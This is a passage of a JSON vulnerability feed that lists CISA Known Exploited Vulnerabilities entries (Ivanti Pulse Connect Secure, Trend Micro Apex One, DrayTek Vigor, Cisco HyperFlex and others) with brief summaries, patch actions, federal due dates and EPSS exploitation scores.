use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-8196","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-8196 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-8196&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-8196, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-8243","cveId":"CVE-2020-8243","aliases":[],"kind":"vulnerability","title":"Ivanti Pulse Connect Secure Code Execution Vulnerability","summary":"Ivanti Pulse Connect Secure contains an unspecified vulnerability in the admin web interface that could allow an authenticated attacker to upload a custom template to perform code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Pulse Connect Secure","stacks":["Ivanti","Pulse Connect Secure"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90759,"percentile":0.99802,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-8243&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-8243","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-8243 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-8243&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-8243, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-8260","cveId":"CVE-2020-8260","aliases":[],"kind":"vulnerability","title":"Ivanti Pulse Connect Secure Code Execution Vulnerability","summary":"Pulse Connect Secure contains an unspecified vulnerability that allows an authenticated attacker to perform code execution using uncontrolled gzip extraction.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Pulse Connect Secure","stacks":["Ivanti","Pulse Connect Secure"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9648,"percentile":0.9988,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-8260&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-8260","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-8260 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-8260&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-8260, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-8467","cveId":"CVE-2020-8467","aliases":[],"kind":"vulnerability","title":"Trend Micro Apex One and OfficeScan Remote Code Execution Vulnerability","summary":"Trend Micro Apex One and OfficeScan contain an unspecified vulnerability within a migration tool component that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Trend Micro","product":"Apex One and OfficeScan","stacks":["Trend Micro","Apex One and OfficeScan"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.109,"percentile":0.95841,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-8467&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-8467","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-8467 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-8467&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-8467, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-8468","cveId":"CVE-2020-8468","aliases":[],"kind":"vulnerability","title":"Trend Micro Multiple Products Content Validation Escape Vulnerability","summary":"Trend Micro Apex One, OfficeScan, and Worry-Free Business Security agents contain a content validation escape vulnerability that could allow an attacker to manipulate certain agent client components.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Trend Micro","product":"Apex One, OfficeScan and Worry-Free Business Security Agents","stacks":["Trend Micro","Apex One, OfficeScan and Worry-Free Business Security Agents"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06165,"percentile":0.93431,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-8468&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-8468","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-8468 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-8468&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-8468, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-8515","cveId":"CVE-2020-8515","aliases":[],"kind":"vulnerability","title":"DrayTek Multiple Vigor Routers: Multiple DrayTek Vigor Routers Web Management Page Vulnerability","summary":"DrayTek Vigor3900, Vigor2960, and Vigor300B routers contain an unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"DrayTek","product":"Multiple Vigor Routers","stacks":["DrayTek","Multiple Vigor Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99993,"percentile":0.99987,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-8515&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-8515","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-8515 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-8515&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-8515, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-8599","cveId":"CVE-2020-8599","aliases":[],"kind":"vulnerability","title":"Trend Micro Apex One and OfficeScan Authentication Bypass Vulnerability","summary":"Trend Micro Apex One and OfficeScan server contain a vulnerable EXE file that could allow a remote attacker to write data to a path on affected installations and bypass root login.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Trend Micro","product":"Apex One and OfficeScan","stacks":["Trend Micro","Apex One and OfficeScan"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.11858,"percentile":0.96064,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-8599&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-8599","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-8599 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-8599&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-8599, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-8644","cveId":"CVE-2020-8644","aliases":[],"kind":"vulnerability","title":"PlaySMS Server-Side Template Injection Vulnerability","summary":"PlaySMS contains a server-side template injection vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"PlaySMS","product":"PlaySMS","stacks":["PlaySMS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86689,"percentile":0.99739,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-8644&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-8644","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-8644 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-8644&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-8644, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-8655","cveId":"CVE-2020-8655","aliases":[],"kind":"vulnerability","title":"EyesOfNetwork Improper Privilege Management Vulnerability","summary":"EyesOfNetwork contains an improper privilege management vulnerability that may allow a user to run commands as root via a crafted Nmap Scripting Engine (NSE) script to nmap7.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"EyesOfNetwork","product":"EyesOfNetwork","stacks":["EyesOfNetwork"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.60075,"percentile":0.99127,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-8655&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-8655","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-8655 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-8655&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-8655, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-8657","cveId":"CVE-2020-8657","aliases":[],"kind":"vulnerability","title":"EyesOfNetwork Use of Hard-Coded Credentials Vulnerability","summary":"EyesOfNetwork contains a use of hard-coded credentials vulnerability, as it uses the same API key by default. Exploitation allows an attacker to calculate or guess the admin access token.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"EyesOfNetwork","product":"EyesOfNetwork","stacks":["EyesOfNetwork"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.91874,"percentile":0.99816,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-8657&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-8657","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-8657 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-8657&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-8657, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-9818","cveId":"CVE-2020-9818","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, and watchOS Out-of-Bounds Write Vulnerability","summary":"Apple iOS, iPadOS, and watchOS Mail contains an out-of-bounds write vulnerability which may allow memory modification or application termination when processing a maliciously crafted mail message.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and watchOS","stacks":["Apple iOS and iPadOS","Apple","iOS, iPadOS, and watchOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02344,"percentile":0.83528,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-9818&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-9818","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-9818 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-9818&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-9818, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-9819","cveId":"CVE-2020-9819","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, and watchOS Memory Corruption Vulnerability","summary":"Apple iOS, iPadOS, and watchOS Mail contains a memory corruption vulnerability that may allow heap corruption when processing a maliciously crafted mail message.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and watchOS","stacks":["Apple iOS and iPadOS","Apple","iOS, iPadOS, and watchOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02232,"percentile":0.82648,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-9819&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-9819","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-9819 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-9819&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-9819, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-9859","cveId":"CVE-2020-9859","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Code Execution Vulnerability","summary":"Apple iOS, iPadOS, macOS, watchOS, and tvOS contain an unspecified vulnerability that may allow an application to execute code with kernel privileges.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00829,"percentile":0.57255,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-9859&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-9859","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-9859 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-9859&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-9859, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-1497","cveId":"CVE-2021-1497","aliases":[],"kind":"vulnerability","title":"Cisco HyperFlex HX Installer Virtual Machine Command Injection Vulnerability","summary":"Cisco HyperFlex HX Installer Virtual Machine contains an insufficient input validation vulnerability which could allow an attacker to execute commands on an affected device as the root user.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"HyperFlex HX","stacks":["Cisco","HyperFlex HX"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9993,"percentile":0.99969,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-1497&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-1497","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-1497 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-1497&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-1497, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-1498","cveId":"CVE-2021-1498","aliases":[],"kind":"vulnerability","title":"Cisco HyperFlex HX Data Platform Command Injection Vulnerability","summary":"Cisco HyperFlex HX Installer Virtual Machine contains an insufficient input validation vulnerability which could allow an attacker to execute commands on an affected device as the tomcat8 user.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"HyperFlex HX","stacks":["Cisco","HyperFlex HX"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99991,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-1498&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-1498","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-1498 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-1498&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-1498, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-1647","cveId":"CVE-2021-1647","aliases":[],"kind":"vulnerability","title":"Microsoft Defender Remote Code Execution Vulnerability","summary":"Microsoft Defender contains an unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor 